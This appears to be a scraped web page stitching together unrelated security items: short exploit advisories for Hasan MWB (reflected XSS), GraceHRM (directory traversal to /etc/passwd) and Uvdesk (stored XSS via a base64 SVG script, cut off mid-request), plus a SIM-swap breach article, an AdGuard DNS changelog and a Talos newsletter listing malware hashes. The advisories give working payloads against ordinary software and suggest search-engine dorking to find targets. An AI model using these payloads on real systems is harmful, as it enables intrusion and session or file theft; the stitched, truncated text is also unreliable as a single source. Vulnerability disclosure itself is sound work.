Hasan MWB version 1 suffers from a cross site scripting vulnerability.

**Hasan MWB 1 Cross Site Scripting**

Posted Aug 28, 2023

Authored by indoushka

Hasan MWB version 1 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 4a53646feef7ce0d66491bbe2483dcbe70097fdb2aef17667fd6e5a2c356c92e

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**Hasan MWB 1 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Hasan MWB v1 - XSS Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)                                               || # Vendor    : http://sourceforge.net/                                                                                            |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /?q=1</title><ScRiPt >prompt(/indoushka/)</ScRiPt>[+] go to http://127.0.0.1/hasanmwbsourceforgenet/?q=1%3C/title%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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Hasan MWB 1 Cross Site Scripting

By Habiba Rashid
Cryptocurrency firms, including FTX, BlockFi, and Genesis, have contacted victims of data breaches caused by a sim-swapping attack…
This is a post from HackRead.com Read the original post: Kroll SIM-Swapping Attack Causes Data Breach at 3 Top Crypto Firms

Cryptocurrency firms, including FTX, BlockFi, and Genesis, have contacted victims of data breaches caused by a sim-swapping attack on Kroll, a provider of services and digital products related to valuation, governance, risk, and transparency.

**KEY FINDINGS**

*   **SIM-swapping attack on Kroll led to data breach of 3 major crypto firms.**

*   **Customers of FTX, BlockFi, and Genesis warned of potential phishing attacks.**

*   **Kroll investigates SIM-swapping attack, emphasizes data security commitment.**

Three major cryptocurrency companies, FTX, BlockFi, and Genesis, grapple with the aftermath of a sophisticated data breach that occurred following a SIM-swapping attack on the renowned risk and financial advisory firm Kroll.

On 19th August 2023, Kroll was informed that a threat actor had exploited a T-Mobile account owned by one of its employees through a meticulously executed SIM-swapping attack.

In this type of attack, unauthorized individuals manipulate mobile carriers into transferring a victim’s phone number to a new SIM card under their control. In this case, the attacker successfully accessed sensitive information stored on Kroll’s systems, specifically files containing personal data related to bankruptcy claimants in cases involving FTX, BlockFi, and Genesis.

The impact of this breach has been significant. Both FTX and BlockFi were quick to notify their customers of the breach. FTX revealed that the compromised information included customer names, addresses, email addresses, and account balances, reassuring users that account passwords and digital assets remained unaffected. BlockFi echoed the sentiment, cautioning its users about a potential increase in phishing attempts and spam phone calls due to the breach.

Kroll promptly took steps to secure the compromised accounts and initiated an investigation into the incident in collaboration with the FBI. While the affected companies have emphasized that the security of their systems and digital assets remains intact, there are concerns that the stolen data could be leveraged in phishing attacks.

Users of these platforms have reported receiving phishing emails enticing them to withdraw funds from their accounts, indicating that fraudsters are already attempting to exploit the situation.

Data breach notifications from FTX, BlockFi, and Genesis

SIM-swapping attacks, although not new, remain a potent tool in the arsenal of cybercriminals. By gaining control of a victim’s phone number, attackers can effectively bypass multi-factor authentication and take control of various accounts tied to that number.

As more businesses and individuals rely on mobile phone numbers for authentication and account recovery, the risks associated with SIM-swapping attacks grow. 

Cybersecurity experts suggest a few key steps to minimize vulnerability: regularly review and update account recovery methods to include security keys or mobile authentication apps; reduce reliance on SMS-based authentication; and explore alternatives to providing phone numbers for account registration.

In a statement, Kroll, a provider of services and digital products related to valuation, governance, risk, and transparency, reiterated its commitment to data security and information protection, expressing regret for any inconvenience caused and emphasizing its dedication to safeguarding clients, partners, and the broader community.

Kroll SIM-Swapping Attack Causes Data Breach at 3 Top Crypto Firms

AdGuard DNS before 2.2 allows remote attackers to cause a denial of service via malformed UDP packets.

AdGuard DNS versions

2.2.1

Aug 7, 2023

In this update, we have improved the DNS server performance, fixed a few issues, and released a new authorization service that will allow users to access their personal account quicker.

Changelog

Performance

The number of AdGuard DNS users is growing at an enormous rate, and the total number of requests per second has closely approached 2 million. Meanwhile, over 90% of these requests come to us through encrypted DNS protocols (DoT, DoH, DoQ, DNSCrypt). Therefore, in this release, we focused on improving the DNS server’s performance and achieved great success. We can now handle an astronomical number of requests with reasonable server power.

Features

Added Czech and Slovak languages

Improved readability of highlighted text in dark theme #617

Full DNS address now displayed when setting up a device in a mobile browser #625

Fixes

Misalignment of columns when the “Device not connected” indicator dot appears #575

AdGuard verification code auto-fill issue with two-factor authentication enabled in Safari #314

Email address auto-fill bug on the login page in Safari #319

Incorrect functioning of the $dnsrewrite modifier

2.2

Apr 24, 2023

The highlight of this release is the ability to customize the Team subscription — now you can choose the number of devices, servers, and monthly requests you want before purchasing it. Also, we've added the option to select a response code for blocked requests and, of course, fixed some bugs.

Changelog

Features

Added the ability to customize the Team subscription

Added more information about monthly traffic update #490

Added the option to select a response code for blocked requests

Added AdGuard DNS blog

Updated Linked IP block design

Updated translations #570

Fixes

In the mobile version of Safari, the filtering log automatically reverts to its default state after scrolling

Problem with statistics and log retention settings #472

EDNS Client Subnet could not be disabled #542

Error condition is not reset when the type of line to be added is changed #563

Slashes are not saved in the comments of the user rules editor #576

Real-time query log updates don't retain filter changes #460

Fixed an issue that allowed a DoS attack against the service using malformed UDP packets

2.1.6

Mar 1, 2023

Minor bugs should be tackled before they build up and affect the performance of AdGuard DNS. We aim to release patches in a timely fashion, and here's another one.

Changelog

Fixed

Can't reach the 'Try AdGuard DNS' button in Safari on iOS #436

The settings of the selected server are reset after refreshing the page

The domain is not found in the search field if it was copy-pasted #530

Changed the hint text for clearing device logs/statistics #536

Added

Default TTL hint #535

Ability to customize which response will be used for a blocked domain

Option to block Mozilla canary domain

2.1.5

Feb 2, 2023

In this patch we've fixed several bugs — now AdGuard DNS runs better.

Changelog

Fixed

Spikes on the stat graph

Incorrect triggering of the device limit

Resetting statistics does not occur in all filter sections

Unable to log in to account via Apple ID if 2FA is enabled

Top blocked domains and top requested domains values in mobile version are mixed up #482

Resetting filters in filtering log does not clear domain search field #524

2.1.4

Dec 29, 2022

This patch is a little New Year’s present for you. We’ve significantly improved the performance of our DNS servers, added instructions for connecting AdGuard DNS to AdGuard VPN and AdGuard Browser extension, and fixed minor bugs.

2.1.3

Dec 7, 2022

Now it’s possible to connect an Android or iOS device with AdGuard VPN to AdGuard DNS via email. To do so:

Open the AdGuard DNS dashboard and tap the Connect new device button,

Choose Android or iOS and enter your device’s name,

Tap Next and then Send link by email,

Enter the email address you want to send the link to and click Send,

​​Open the email on the device you want to connect to AdGuard DNS and tap the Connect device button.

For this release we’ve also expanded the list of used filters, made some UI enhancements, fixed a few bugs, and added Vietnamese localization.

Added

Option to connect AdGuard DNS in the AdGuard VPN app by sending a configuration email

Vietnamese language support

Added filters

1Hosts (mini)

HaGeZi Personal Black & White

HUN: Hufilter

LIT: EasyList Lithuania

No Google

Fixed

AdGuard DNS homepage doesn’t load when iCloud+ Private Relay is enabled

2.1.2

Nov 22, 2022

In AdGuard DNS v2.1.2 we’ve enhanced the dashboard interface, added a server in Johannesburg and an option to disable automatic filtering log updates. Also, we’ve fixed some bugs so it will no longer be a problem to rename the device or understand the statistical report.

If you use AdGuard VPN for Android or iOS, you can easily add an encrypted DNS to your device. Just follow our instructions when adding a new device.

Added

Option to disable automatic filtering log updates #264

Johannesburg server

Turkish language support

Fixed

Flags were displayed incorrectly in the Traffic Direction section#428

Blank space in the Connection check section #431

Text started to glitch when renaming a device #354

Incorrect dates in the weekly stats report

2.1.1

Oct 25, 2022

This hotfix is intended to correct minor errors and add two localizations as a bonus.

Changelog

\[Enhancement\] Added translation of the dashboard and login page into Portuguese and Portuguese Brazilian

\[Fixed\] Incorrect time of latest device activity #427

\[Fixed\] Incorrect VPN subscription status #352

\[Fixed\] Refreshing the Device settings page redirects back to server settings #430

2.1

Oct 20, 2022

AdGuard DNS now supports DNS-over-HTTP/3 in experimental mode. It was a challenge, but we made it. For now only AdGuard Home and dnsproxy fully support DNS-over-HTTP/3, but soon DoH3 will appear in other AdGuard products. However, we focus on DNS-over-QUIC and consider it more advanced, but we strive to support the other protocols too, and DoH3 is a proof of that.

Another good news is that we will email AdGuard DNS users weekly and monthly reports with stats on requests, devices, and companies, which is convenient and visual. If there are too many reports, you can unsubscribe at any time.

Changelog

\[Enhancement\] Added the Apply button that appears after changing the server name

\[Enhancement\] Query log data cutoff in desktop mode #366

\[Enhancement\] Query log page numbers move when a new page is opened #368

\[Fixed\] Switching from 90 days to anything less causes dates to overlap #323

\[Fixed\] Text is cut off for the last domain in Top domains #339

\[Fixed\] Dates are cut off on the left and right side of the chart (mobile version of the website) #341

\[Fixed\] Misleading subscription status (from AdGuard VPN) #352

\[Fixed\] Wrong status of applied unblocking rules #361

\[Fixed\] The "Refresh" button on the homepage does not override the number of requests

\[Fixed\] Query log data is cut off (desktop version of the website) #366

\[Fixed\] Limit triggering in Enterprise plan

\[Fixed\] Can't scroll to account settings on Safari for macOS #353

\[Fixed\] In some cases the statistics were counted incorrectly

\[Fixed\] Top Destinations stats overlap when set to 90 days #326

2.0.1

Sep 7, 2022

It's been two weeks since the release of AdGuard DNS 2.0, but there's still a pleasant aftertaste. We've been painstakingly working on this product to give you a reliable and convenient tool to control your online traffic. And we succeeded.

Still, small bugs had crept into the release. That's why we're publishing a patch today: so you can enjoy the service, and we can move on to some bigger tasks with peace of mind.

Changelog

\[Enhancement\] Added search to the DNS knowledge base

\[Enhancement\] Updated link for Contact Us button on purchase page

\[Enhancement\] Improved the Traffic Destinations page

\[Enhancement\] Add an option to use add-cpe-id in Dnsmasq to identify the device

\[Fixed\] Disabling logs disables tariff statistics

\[Fixed\] Numbers in Japanese, Korean, Chinese are displayed incorrectly

2.0

Aug 18, 2022

The beta testing phase is finally over! From now on the new level of traffic control is available for you. With AdGuard DNS 2.0 you can:

Flexibly configure domain blocking via blocklists, query log and user rules;  

See real-time requests statistics from all connected devices;  

Enable and set up Parental control;  

Learn more about all the changes and improvements of AdGuard DNS 2.0 in our blog.

0.6

Jul 29, 2022

Check out the sixth beta version of AdGuard DNS (and hopefully the final one before the release). In it we’ve improved the dark theme: updated the map styles and QR-code, so that everything could be easily read and scanned. And, of course, we fixed some minor bugs. The private AdGuard DNS now runs smoother!

Changelog

\[Enhancement\] Updated map styles in the dark theme

\[Enhancement\] Added an option to disable iCloud Private Relay

\[Fixed\] QR code is not scanned in the dark theme

\[Fixed\] Autofill doesn’t work in Safari on macOS and iOS

\[Fixed\] Minor bug fixes in desktop и mobile versions

0.5

Jul 13, 2022

There are five fingers in a hand, five oceans on Earth, and five betas of the private AdGuard DNS. Today we're releasing the fifth beta of our DNS and we hope you'll rate it 5/5!

In this version we’ve implemented support for DDR (Discovery of Designated Resolvers) by the latest draft of the new standard. With this feature, an encrypted connection to the DNS server will be set up automatically on devices with DDR support, provided the device previously knew the server address. A computer or smartphone will send a request to the known address and receive all the necessary information to establish a secure connection.

DDR support appeared in Windows 11 Insider Preview Build 22489, which means that the feature will get into the release version after a while. When this happens, Windows and AdGuard DNS users will be automatically reconnected to encrypted DNS servers – public or private, depending on the services selected earlier.

We’ve also improved ECS (EDNS Client Subnet) implemented in the third beta. Servers now respond with more precise IP addresses that better match your location. Furthermore, we are continuing to refine the open AdGuard DNS API, and now there are methods for getting statistics. All documentation is available at Knowledge Base.

We’ve fixed some bugs and worked on the interface: authorization via Apple ID now works properly, the dark theme has become really dark, and the Query log is prettier than ever. French, Italian, Chinese, Japanese, and Korean were added to the dashboard, and we are committed to continue localizing the private AdGuard DNS, making it accessible to users from all over the world!

Changelog

\[Enhancement\] Added support for DDR (Discovery of Designated Resolvers)

\[Enhancement\] Statistic retrieval methods were added to the API

\[Enhancement\] Added an option to change subscription type

\[Enhancement\] Added an option to extend subscription

\[Enhancement\] Added support for Chinese, Japanese, Korean, French, and Italian

\[Enhancement\] Added the "Don’t ask again" checkbox to the system notification that appears when deleting user rules

\[Fixed\] After logging in via Apple ID the personal account opens instead of dashboard if the user has an AdGuard VPN subscription

\[Fixed\] In dark theme statistics blocks are highlighted in white

\[Fixed\] In dark theme text in some fields is grayed out

\[Fixed\] Some elements in the mobile version of the website are displayed incorrectly

0.4

Jun 21, 2022

The period of active "building" of the private AdGuard DNS is left behind, and now we're polishing the service to a shine. Just take a look at the current changelog and compare it to the one we published for the previous beta. The difference is obvious.

The fourth beta features dark theme and language selection – at the moment, the dashboard is translated into German, Spanish, and Russian. To find both options, go to Account settings. And some more good news: from now on all AdGuard VPN users with a subscription will get the Personal plan of the private AdGuard DNS for free.

We hope you’ll enjoy the new version. Use the service and leave feedback on any platform you like.

Changelog

\[Enhancement\] Added dark theme

\[Enhancement\] Added support for VPN subscriptions and information about VPN subscribers automatically getting a Personal DNS subscription

\[Enhancement\] Added German and Spanish localizations

\[Enhancement\] Improved search function in the filter section on mobile devices

\[Enhancement\] Supplemented instructions for different devices

\[Enhancement\] Added a link to DNS rules syntax in the query log dialog

\[Fixed\] The “View device settings” button doesn't work on iOS devices

\[Fixed\] The “Unable to renew subscription” popup hangs for too long

0.3.1

Jun 10, 2022

The recently released third beta of private AdGuard DNS was really good and brought a lot of useful features to users. However, as it turned out, it contained a few flaws. So that you don't have to deal with them anymore, we are releasing a patch v0.3.1 for private AdGuard DNS.

Changelog

\[Fixed\] Clicking the Block button in Query log deletes all existing user rules and replaces them with a new one #265

\[Fixed\] Unable to move devices between servers #248

\[Fixed\] Incorrect links on the "Thanks for your purchase" page

\[Fixed\] Discount promo codes do not work correctly

\[Fixed\] There is no payment button in the mobile version of the website

\[Fixed\] Incorrect designation of the number of requests in Statistics

0.3

May 26, 2022

Meet the third beta version of private AdGuard DNS! We are steadily moving towards a full-fledged product, adding new features, changing and improving UI — everything to make you really enjoy using AdGuard DNS.

The version history – in front of your eyes

First and foremost, we've added a version history page for the AdGuard DNS service. Now you can see the full list of changes, learn about new features, and see how the work on private AdGuard DNS service is progressing.

Contribute to AdGuard DNS translation

Until now, private AdGuard DNS could only be used in English: first we had to make sure everything was working as it should. With this version we've extended the geography by adding the possibility to translate the dashboard into different languages. Help us make AdGuard DNS more accessible to everyone by participating in the translations! You can find a detailed article on how to use the Crowdin platform in our Knowledge Base. And if you already know how to use it, visit the AdGuard DNS project in Crowdin. Select the Dashboard and choose the language you want, then you're ready to translate!

AdGuard DNS Knowledge Base

Subscription

We've added a paid subscription on private AdGuard DNS. Subscription is not required during beta testing, but we'd appreciate it if you'd like to support us now.

DNS filters

We've also fixed DNS filters: eliminated the bug with the /etc/hosts-style rules failing to work and added support for rules with $dnsrewrite. By the way, you can read about the DNS filtering syntax in the Knowledge Base.

ECS support

The AdGuard DNS servers now support EDNS Client Subnet (ECS).

This feature allows users to get responses corrected for the location of the DNS user. We had long been hesitating to implement it in AdGuard DNS: ECS assumes handing over an anonymized user's IP address to the name server. In this version, we've solved the problem: instead of the user's IP address, we pass another address from approximately the same location as the user's.

New blocklists

We've added a lot of new blocklists — now it's even easier to customize AdGuard DNS. And if that's not enough, you can request and add more blocklists in the GitHub repository (before you do that, read requirements for blocklists in the section “What Blocklists Can Be Added Here”).

Open API

AdGuard DNS now has an open API. If you want to integrate with AdGuard DNS, read the documentation.

UI fixes and more

We've also fixed a lot of minor bugs and added some useful features.

Test private AdGuard DNS and leave feedback on any convenient platforms — it will help us become better.

Changelog

\[Enhancement\] Improved the appearance of the multiselect (element with the ability to select multiple values, such as countries, devices)

\[Enhancement\] For the device location, the Traffic Destination section uses data from its last activity

\[Fixed\] Incorrect detection for account time zone

\[Fixed\] Statistics and logs do not get cleared when their retention period is changed

\[Fixed\] Incorrect country detection for some domains

\[Fixed\] Significant delay in clearing logs and statistics

\[Other\] Added the option "Last 7 days" to date selector

0.2

Mar 16, 2022

We’ve all been waiting for it: we're proud to present the open beta of private AdGuard DNS! From now on, anyone can set up their own DNS server.

We took the best of AdGuard DNS and AdGuard Home and designed a product that would be flexible and customizable, meet the needs of "geeks", and have a user-friendly interface. We hope we succeeded! And now let's take a closer look at the best features of private AdGuard DNS.

Block/unblock domains

With a private DNS server, it is only you who decides which domains should be blocked and which shouldn’t — on each device! Connect your computer, smartphone, tablet or router and manage their requests as desired.

Blocklists management

You can also choose which domain blocking rules should be implemented. And those who aren't satisfied with dozens of pre-installed blocklists can import and export their own custom rules.

Advanced statistics

Now you can see the full statistics of your requests: how many requests were registered, to which companies, and to which countries. Besides, you can view this information for different dates, countries, and even for different devices connected to your DNS server. And of course, block and unblock requests on the go.

Parental control

To protect your child from online content you deem inappropriate, you can use Parental control. You can activate the safe search and manually specify domains for blocking as well as set the schedule: for instance, not allow your child to watch videos during homework.

Join beta testing

To take part in beta testing go to AdGuard DNS website and press \*Join beta\*\*\*, then sign up or log into your AdGuard account. You're done! Create your own DNS server and manage your requests — you are in control.

0.1

Sep 28, 2021

Great news: AdGuard DNS is advancing to a new level. We're about to release the product that many have yearned for so long — the private AdGuard DNS!

What a public DNS server blocks cannot be changed — it only has to be taken for granted. With your own DNS server, you'll be in control of all the query statistics and be able to choose which domains you want to block. It'll allow you to add blocklists and set up Parental control. And the user-friendly interface will make it no problem to get to grips with it all.

We added a new website where you can already see what the private AdGuard DNS interface will look like, learn how to connect to the public DNS server, and subscribe to the AdGuard DNS newsletter. If you do, we'll message you at launch and keep you up-to-date with the latest AdGuard news.

Thank you for your support! Stay tuned — and in the meantime, we're working to make sure the next release is to your liking.

CVE-2023-41173: AdGuard DNS — ad-blocking DNS server

The latest activity from Lazarus Groups, .gov domains scamming people out of "V-Bucks" and more in this week's edition.

Thursday, August 24, 2023 14:08

Welcome to this week’s edition of the Threat Source newsletter.

I have no idea how “Fortnite” keeps coming up in this newsletter, but here we are again.

Even though the game/metaverse has never been bigger, it had been a while since I had heard about “V-Bucks” scams. V-Bucks are the in-game virtual currency “Fortnite” uses to sell character skins and other visual elements.

After the game’s initial surge in popularity, scams claiming to get players easy V-Bucks were all over the place in the form of fake advertisements, phishing emails, scams and YouTube videos. And as the game has only become more ubiquitous, so have scams and cyber attacks centered around the game.

Wired reported last week that a central network of bad actors is responsible for compromising legitimate domains (some of them with the .gov and .edu top-level domains) and using them to trick players into sharing personal information or downloading malicious apps. This widespread campaign targets players of “Fortnite” and “Roblox,” another half-game, half-metaverse.

These compromised sites promised to send rewards in these games to players in exchange for clicking on a link, downloading a file or filling out a form.

This led me down another rabbit hole of potential Fortnite scams that I hadn’t thought about, which are the thousands of knockoffs that exist.

For some reason, just searching “Fortnite” on the Google Play store doesn’t return any results, but when you search “Fortnite game,” users are served with tons of apps of questionable origin and legitimacy. The real “Fortnite” can only be downloaded from the Epic Games Store, owned by the game’s publisher and the subject of a long legal saga with Apple.

The second-most-popular result for “Fortnite game” is something called “Battle Royale Chapter 4 Season3” published on the store by the auspiciously named “EPic Games,” which wreaks of the same vibes as a typosquatted domain.

Some of the top reviews for the app also seem to be written by bots, and in one case, the most recent 5-star review came from a user who appeared to credit ChatGPT with writing the text.

I’m not blaming anyone or any company for the existence of these types of scams, I just think it’s worth noting to parents and potential players that bad actors are still trying to backpack off the popularity of these games. It likely doesn’t fall on the companies making these games to regulate this space and make sure scammers aren’t capitalizing off their popularity — after all, no one blames the bank if an attacker uses their name in a phishing email to steal login credentials.

But I also don’t know who it falls to, either. As users, it again falls on us to just be hyper-vigilant and prepared, knowing attackers will try to leverage anything, even fake money used to buy virtual hot dog suits, to scam people.

**The one big thing**

The infamous Lazarus Group APT is back at it again with two new remote access trojans. The North Korean state-sponsored group is well known for using a variety of malware to generate revenue for the hermit government and trying to spy on their various adversaries. Now, they have two new RATs that Talos recently discovered, largely based on open-source tools or previously leaked malware code. Lazarus Group is increasingly using the Qt framework to create their malware, which poses new challenges for defenders. It increases the complexity of the malware’s code, making human analysis more difficult.

**Why do I care?**

Any time the Lazarus Group is active, everyone should take notice. This is one of the most high-profile APTs on the threat landscape right now, and they’ve shown that they will not hesitate to exhaust all options to try to generate money for North Korea’s government. With this specific set of RATs, they are smaller than Lazarus’ usual payloads, which makes their operations slimmer, faster and harder to detect. Once infected, Lazarus Group can carry out a wide range of malicious actions on targets, ranging from deploying ransomware to completely lock down targeted machines, stealing personal information, or hijacking hardware for cryptocurrency mining.

**So now what?**

Both the blogs we published Thursday morning include guidance on remediating these threats. The use of open-source tooling can sometimes make it easier for security researchers to spot Lazarus Group activity, and in the case of the two new RATs, Talos has a wide range of Snort and ClamAV detection available.

**Top security headlines of the week**

**The FBI warned that North Korean state-sponsored actors are preparing to cash out up to $40 million worth of cryptocurrency after multiple heists.** The Lazarus Group reportedly is holding onto six separate crypto wallets holding a combined 1,580 Bitcoin over the course of 24 hours earlier this week. This APT is known for carrying out data breaches and cyber attacks to generate funding for the country’s illegal nuclear weapons program. The Lazarus Group previously stole $60 million and $37 million in cryptocurrency from Alphapo and CoinsPaid, respectively, in July, and $100 million from Atomic Wallet in June. In its alert, the FBI shared the Bitcoin addresses associated with the attacks so cryptocurrency agencies could examine their blockchain data and “be vigilant in guarding against transactions directly with, or derived from the addresses.” (TechCrunch, SecurityWeek)

**A previously unknown hacking group appears to be behind a supply chain attack targeting roughly 100 computers located in Hong Kong and other areas of Asia.** Security researchers attributed the attack to a new actor known as “Carderbee” that is currently not tied to any state affiliations. The attackers exploited the legitimate Cobra DocGuard software — made by a Chinese software company — to deliver a malicious software update that compromised the machines. Because only about 2,000 machines worldwide use DocGuard, researchers believe it is a highly targeted attack looking to compromise specific victims. Each attack tried to deploy the Korplug (the predecessor of PlugX) backdoor onto victim computers. (CyberScoop, The Record by Recorded Future)

**The Clop threat actor was responsible for more than a third of all ransomware attacks in July,** according to multiple industry reports. Clop continues to carry out follow-on attacks associated with its massive breach of the MOVEit file transfer software. More than 4 million Colorado residents may have been affected because of the MOVEit breach, with the state’s Department of Health Care Policy & Financing (HCPF) disclosing this week that it was affected through a technology partner, IBM. HCPF stated that the MOVEit data breach leaked sensitive data but did not compromise the state agency’s internal systems. As of this week, some estimates state that more than 730 organizations have been affected by the MOVEit breach. (Cybersecurity Dive, CPO Magazine)

**Can’t get enough Talos?**

*   Talos Takes Ep. #151: Hacktivism is quietly growing, especially when it comes to Russia's invasion of Ukraine
*   Three vulnerabilities in NVIDIA graphics driver could cause memory corruption
*   Generating FLIRT signatures for Nim and other non-C programming languages
*   Cisco: Bringing More Intelligence to Bear on the Threat Landscape

**Upcoming events where you can find Talos**

**LABScon** **(Sept. 20 - 23)**

Scottsdale, Arizona

> Vitor Ventura gives a presentation that’s a detailed account and timeline of one such mercenary organization, from almost bankrupt to having a fully working spyware targeting iOS and Android with a one-click zero-day exploit.

**Grace Hopper Celebration** **(Sept. 26 - 29)**

Orlando, Florida

> Caitlin Huey, Susan Paskey and Alexis Merritt present a "Level Up Lab" titled "Don’t Fail Knowledge Checks: Accelerating Incident Response with Threat Intelligence." Participate in several fast-paced activities that emphasize the importance of threat intelligence in security incident investigations. Attendees will act as incident responders investigating a simulated incident that unfolds throughout this session. Periodic checkpoints will include discussions that highlight how incident response and threat intelligence complement each other during an active security investigation.

**ATT&CKcon 4.0** **(Oct. 24 - 25)**

McLean, Virginia

> Nicole Hoffman and James Nutland discuss the MIRE ATT&CK framework in “One Leg to Stand on: Adventures in Adversary Tracking with ATT&CK.” Even though ATT&CK has become an industry standard for cyber threat intelligence reporting, all too often, techniques are thrown at the bottoms of reports and blogs without any context never to be seen again after dissemination. This is not useful for intelligence producers or consumers. In this presentation, Nicole and James will show analysts how to use ATT&CK as a guideline for creating a contextual knowledge base for adversary tracking.

**Most prevalent malware files from Talos telemetry over the past week**

**SHA 256:** 24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe  
**MD5:** 49ae44d48c8ff0ee1b23a310cb2ecf5a  
**Typical Filename:** nYzVlQyRnQmDcXk  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Scar::tpd

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
**MD5:** 7bdbd180c081fa63ca94f9c22c457376  
**Typical Filename:** c0dwjdi6a.dll  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.33515991

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f  
**Typical Filename:** VID001.exe  
**Claimed Product:** N/A  
**Detection Name:** Win.Worm.Coinminer::1201

**SHA 256:** 4c3c7be970a08dd59e87de24590b938045f14e693a43a83b81ce8531127eb440  
**MD5:** ef6ff172bf3e480f1d633a6c53f7a35e  
**Typical Filename:** iizbpyilb.bat  
**Claimed Product:** N/A  
**Detection Name:** Trojan.Agent.DDOH

**SHA 256:** 5e537dee6d7478cba56ebbcc7a695cae2609010a897d766ff578a4260c2ac9cf  
**MD5:** 2cfc15cb15acc1ff2b2da65c790d7551  
**Typical Filename:** rcx4d83.tmp  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Pykspa::tpd

Years into these games’ histories, attackers are still creating “Fortnite” and “Roblox”-related scams

GraceHRM version 1.0.3 suffers from a directory traversal vulnerability.

**GraceHRM 1.0.3 Directory Traversal**

Posted Aug 24, 2023

Authored by indoushka

GraceHRM version 1.0.3 suffers from a directory traversal vulnerability.

tags | exploit, file inclusion

SHA-256 | 1ef7aca42ba692fa60907a0530d21ee9db579bba9acd7d508271bcf4d6e8171a

Download | Favorite | View

**GraceHRM 1.0.3 Directory Traversal**

    ====================================================================================================================================| # Title     : GraceHRM v1.0.3 Directory traversal Vulnerability                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0(64-bit)                                               | | # Vendor    : http://p30vel.ir/                                                                                                  |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /admin/download?type=files&filename=../../../../../../../../../etc/passwd[+] http://127.0.0.1/hrmgraceitltdcom/admin/download?type=files&filename=../../../../../../../../../etc/passwdGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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GraceHRM 1.0.3 Directory Traversal

Uvdesk version 1.1.4 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Uvdesk 1.1.4 - Stored XSS (Authenticated)# Date: 14/08/2023# Exploit Author: Hubert Wojciechowski# Contact Author: hub.woj12345@gmail.com# Vendor Homepage: https://www.uvdesk.com/# Software Link: https://github.com/MegaTKC/AeroCMS# Version: 1.1.4# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23# Authenticated user privilages to tickets. User can send XSS to admin or other user and stolen sesssion.## Example XSS Stored in new ticket-----------------------------------------------------------------------------------------------------------------------Param: reply-----------------------------------------------------------------------------------------------------------------------Req-----------------------------------------------------------------------------------------------------------------------POST /uvdesk/public/en/member/thread/add/1 HTTP/1.1Host: 127.0.0.1Content-Length: 812Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXCjJcGbgZxZWLsSkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/uvdesk/public/en/member/ticket/view/1Accept-Encoding: gzip, deflateAccept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7Cookie: uv-sidebar=0; PHPSESSID=4b0j3r934245lpssq5lil3edm3Connection: close------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="threadType"forward------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="status"------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="subject"aaaa------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="to[]"test@local.host------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="reply"%3Cp%3E%3Cembed+src%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB4bWxuczpzdmc9Imh0dH+A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv+MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs+aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw+IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI%2BYWxlcnQoIlh+TUyIpOzwvc2NyaXB0Pjwvc3ZnPg%3D%3D%22+type%3D%22image%2Fsvg%2Bxml%22+width%3D%22300%22+height%3D%22150%22%3E%3C%2Fembed%3E%3C%2Fp%3E------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; name="pic"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryXCjJcGbgZxZWLsSkContent-Disposition: form-data; 